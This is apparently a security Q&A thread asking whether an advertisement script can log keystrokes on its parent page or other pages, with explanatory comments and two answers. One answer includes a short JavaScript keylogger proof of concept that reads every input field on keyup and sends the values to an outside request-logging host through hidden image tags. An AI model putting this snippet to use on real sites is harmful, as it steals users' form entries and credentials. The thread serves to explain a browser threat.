3

According to this Reddit comment, an advertisement on one page seems to be able to log a user's keystrokes on a different page (if I understand the comment correctly).

Is this really true?

Can an advertisement even log keystrokes on its parent page?

5
  • Absolutely it can, but only under the right circumstances. It depends entirely on how the ad is shown (img, iframe, on-page JS, etc), and how it interacts with the rest of the page. With the cooperation of the site hosting the ad, they can do just about anything they want in terms of key events. – dandavis Sep 3 '20 at 21:12
  • @dandavis the key part of the question, I think, is whether it is possible "on a different page" – multithr3at3d Sep 3 '20 at 21:21
  • @multithr3at3d that doesn't matter. they can be shared on the same page, two successive pages on the same site, a page on one site and one on another, etc. While different domains would need server help or lax security, it's certainly possible. If the OP could be a little more specific I could explain the mechanics in-depth. – dandavis Sep 3 '20 at 21:29
  • @dandavis I mean if I visit google.com and then visit ibm.com, can there be a keylogger running (not one served by ibm.com of course)? – ispiro Sep 3 '20 at 21:39
  • There's several ways that could happen, but all of them are (hopefully) unlikely, requiring incompetence or malice on each side. The simplest is just the fact IBM could run scripts from google on ibm.com, many sites do, for example google analytics, google CDN JS libs, etc, and as such, google could simply serve a special copy to just you when on ibm.com (provided no <script integrity's used). If we're asking "can a site install a keylogger to catch msword keystrokes?", then no, not at all; the cursor must be in the browser. – dandavis Sep 3 '20 at 21:55
2

Yes, if an advertisement script is included directly in the page with the script tag. It's possible to listen on all keyup and touch events and capture the keystrokes. Web analytic tools analyze stuff like page movements and how long the user stays on the web page. If they get this data they could also log keystrokes.

I build a keylogger PoC in JS: https://github.com/Leetcore/hackerz/blob/master/Keylogger.js

document.addEventListener('keyup', function () {
    document.querySelectorAll('input').forEach(function (element) {
      if (element.value.length > 0) {
        document.body.insertAdjacentHTML('beforeend', '<img style="display:none;" src="http://requestbin.net/r/xxx?element='+ element.name +'&value='+ element.value +'"/>');
      }
    });
});

It captures every keyup event, iterates through all input tags with values and inserts a hidden IMG to make the cross domain request for the other domain.

0

TL;DR: No, Not afaik

Example: https://toaw.de/f/tmp.html

Unless there is another way (that I'm not aware of) to record keys, one can only record keys that are within the window struken. But something interesting: If you close a tab with CTRL+W and you release the keys inside the test site counts, so you could theoretically guess what happened.

EDIT: To be clear there are many possibilities to track your movements, or guess them at least. (For example https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onmouseleave). You can read more about all sorts of KeyboardEvents at MDN: https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent

EDIT 2: I think the reddit comment is refering more to scam-ads and the limitations of the security given by an https logo or some other "trust-seal" than to keylogger ads.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.